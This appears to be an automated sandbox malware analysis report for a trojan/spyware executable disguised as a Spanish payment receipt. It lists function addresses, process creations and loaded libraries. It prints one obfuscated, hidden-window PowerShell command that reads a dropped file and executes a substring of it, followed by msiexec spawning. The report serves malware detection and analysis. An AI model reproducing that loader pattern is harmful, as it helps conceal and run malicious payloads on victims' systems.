Windows Analysis Report
Justificante pago-09453256434687.exe

Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Code function: 0_2_00406BFE	0_2_00406BFE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_03075362	6_2_03075362
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_0307D278	6_2_0307D278
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_0307C147	6_2_0307C147
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_0307C738	6_2_0307C738
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_0307C468	6_2_0307C468
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_0307CA08	6_2_0307CA08
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_0307E988	6_2_0307E988
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_0307CFAC	6_2_0307CFAC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_03073E09	6_2_03073E09
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_0307CCD8	6_2_0307CCD8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_03077118	6_2_03077118
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_0307F974	6_2_0307F974
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_0307E97C	6_2_0307E97C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_030729EC	6_2_030729EC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_03079DE0	6_2_03079DE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A52968	6_2_21A52968
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A59C18	6_2_21A59C18
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5FC68	6_2_21A5FC68
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A517A0	6_2_21A517A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A59328	6_2_21A59328
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A50B30	6_2_21A50B30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A51E80	6_2_21A51E80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5D9A8	6_2_21A5D9A8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5D999	6_2_21A5D999
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5DDF1	6_2_21A5DDF1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5D540	6_2_21A5D540
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A59548	6_2_21A59548
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5D550	6_2_21A5D550
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5CCA0	6_2_21A5CCA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5CC8F	6_2_21A5CC8F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5D0E8	6_2_21A5D0E8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5D0F8	6_2_21A5D0F8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A55028	6_2_21A55028
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5F805	6_2_21A5F805
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5F810	6_2_21A5F810
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A50012	6_2_21A50012
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A55018	6_2_21A55018
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A50040	6_2_21A50040
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A58BA0	6_2_21A58BA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5F3A8	6_2_21A5F3A8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5F3B8	6_2_21A5F3B8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5178F	6_2_21A5178F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A58B91	6_2_21A58B91
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A50B20	6_2_21A50B20
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5EB08	6_2_21A5EB08
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5EF60	6_2_21A5EF60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5EF51	6_2_21A5EF51
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5E6A0	6_2_21A5E6A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5E6B0	6_2_21A5E6B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5EAF8	6_2_21A5EAF8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5DE00	6_2_21A5DE00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A51E70	6_2_21A51E70
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5E257	6_2_21A5E257
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21A5E258	6_2_21A5E258
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_240181D0	6_2_240181D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24017B78	6_2_24017B78
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401B7A8	6_2_2401B7A8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24018FB0	6_2_24018FB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24013008	6_2_24013008
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401DC19	6_2_2401DC19
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401FC18	6_2_2401FC18
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24016024	6_2_24016024
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401DC28	6_2_2401DC28
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401BC2A	6_2_2401BC2A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24016030	6_2_24016030
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401BC38	6_2_2401BC38
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24010040	6_2_24010040
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24013450	6_2_24013450
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24013460	6_2_24013460
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24016478	6_2_24016478
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24016488	6_2_24016488
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24010498	6_2_24010498
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401E0A7	6_2_2401E0A7
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401C0B7	6_2_2401C0B7
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401E0B8	6_2_2401E0B8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_240138B8	6_2_240138B8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401C0C8	6_2_2401C0C8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_240108F0	6_2_240108F0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401A928	6_2_2401A928
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401A938	6_2_2401A938
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401E538	6_2_2401E538
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401C548	6_2_2401C548
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401E548	6_2_2401E548
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24010D48	6_2_24010D48
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401C558	6_2_2401C558
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401119F	6_2_2401119F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_240111A0	6_2_240111A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401E9C8	6_2_2401E9C8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401C9D8	6_2_2401C9D8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401E9D8	6_2_2401E9D8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_240115E8	6_2_240115E8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401C9E8	6_2_2401C9E8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_240115F8	6_2_240115F8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24016A07	6_2_24016A07
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24016A18	6_2_24016A18
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24014620	6_2_24014620
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24014622	6_2_24014622
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24011A4F	6_2_24011A4F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24011A50	6_2_24011A50
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401EE57	6_2_2401EE57
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401CE67	6_2_2401CE67
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401EE68	6_2_2401EE68
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24016E70	6_2_24016E70
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24014A70	6_2_24014A70
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24016E72	6_2_24016E72
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401CE78	6_2_2401CE78
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24014A78	6_2_24014A78
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24011E98	6_2_24011E98
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24011EA8	6_2_24011EA8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_240172C8	6_2_240172C8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_240172CA	6_2_240172CA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24014ECC	6_2_24014ECC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24014ED0	6_2_24014ED0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401F2E7	6_2_2401F2E7
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_240122F0	6_2_240122F0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401D2F7	6_2_2401D2F7
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401F2F8	6_2_2401F2F8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24012300	6_2_24012300
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401B307	6_2_2401B307
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401D308	6_2_2401D308
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401B318	6_2_2401B318
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24017720	6_2_24017720
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24017722	6_2_24017722
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24015328	6_2_24015328
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24012748	6_2_24012748
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24012758	6_2_24012758
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24017B69	6_2_24017B69
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24015777	6_2_24015777
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401F778	6_2_2401F778
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24015780	6_2_24015780
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401D787	6_2_2401D787
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401F788	6_2_2401F788
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401B798	6_2_2401B798
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_2401D798	6_2_2401D798
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24018FA1	6_2_24018FA1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24012BA0	6_2_24012BA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24012BB0	6_2_24012BB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24015BD8	6_2_24015BD8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_24012FF9	6_2_24012FF9

Source: Justificante pago-09453256434687.exe

Static PE information: invalid certificate

Source: Justificante pago-09453256434687.exe, 00000000.00000000.1675896585.0000000000454000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamebiddens lokalsamfund.exe4 vs Justificante pago-09453256434687.exe
Source: Justificante pago-09453256434687.exe	Binary or memory string: OriginalFilenamebiddens lokalsamfund.exe4 vs Justificante pago-09453256434687.exe
Source: Justificante pago-09453256434687.exe.1.dr	Binary or memory string: OriginalFilenamebiddens lokalsamfund.exe4 vs Justificante pago-09453256434687.exe

Source: Justificante pago-09453256434687.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/16@5/5

Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe

0_2_004034F7

Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe

Code function: 0_2_00404954 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404954

Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe

Code function: 0_2_004021AA CoCreateInstance,

0_2_004021AA

Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\semitelic.ini

Source: C:\Windows\SysWOW64\msiexec.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7536:120:WilError_03

Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe

File created: C:\Users\user\AppData\Local\Temp\nsj7D4D.tmp

Source: Justificante pago-09453256434687.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process

Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe

File read: C:\Users\user\Desktop\Justificante pago-09453256434687.exe

Source: unknown	Process created: C:\Users\user\Desktop\Justificante pago-09453256434687.exe "C:\Users\user\Desktop\Justificante pago-09453256434687.exe"
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Subwayed=gc -raw 'C:\Users\user\AppData\Local\Temp\globosely\baadehavn\stnner\Forhaandsudtalelses.Pot162';$Raadslagningens=$Subwayed.SubString(68150,3);.$Raadslagningens($Subwayed) "
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Subwayed=gc -raw 'C:\Users\user\AppData\Local\Temp\globosely\baadehavn\stnner\Forhaandsudtalelses.Pot162';$Raadslagningens=$Subwayed.SubString(68150,3);.$Raadslagningens($Subwayed) "	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: secur32.dll	Jump to behavior

